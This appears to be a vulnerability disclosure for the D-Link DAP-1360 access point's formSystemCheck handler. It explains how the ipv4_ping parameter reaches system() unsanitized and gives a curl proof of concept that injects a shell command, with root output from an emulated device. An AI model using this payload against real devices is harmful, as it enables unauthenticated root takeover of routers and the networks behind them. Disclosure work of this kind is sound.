wrOS Command Injection in D-Link DAP-1360 formSystemCheck Handler

Affected Files / 00

• bin/httpd, formSystemCheck handler @ 0x0046160c
• bin/httpd, _system @ 0x0047e394

Root Cause / 01

The formSystemCheck handler at POST /apply.cgi?formSystemCheck builds a shell command via _system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping")), passing the ipv4_ping CGI parameter directly into the format string without sanitization. _system copies the formatted string into a fixed buffer with vsprintf and passes it to system(). The handler is reported to have no authentication check.

PoC / 02

curl "http://<target>/apply.cgi?formSystemCheck" \
  --data-urlencode "ping_type=v4" \
  --data-urlencode "ipv4_ping=127.0.0.1;id > /var/tmp/o;#"

# comments out the -c 2 >/tmp/test_ping suffix the firmware appends after the injection.

Result (reproduced on emulated device, qemu-mips + extracted rootfs):

uid=0(root) gid=0(root) groups=0(root)

Impact / 03

Unauthenticated remote code execution as root from any client able to reach the device's web management interface. An attacker can fully compromise the device, including persistent modification of its configuration and use as a pivot point into the local network, without needing valid credentials.

Suggested Remediation / 04

Closed-source software, unable to make a clear determination without vendor input.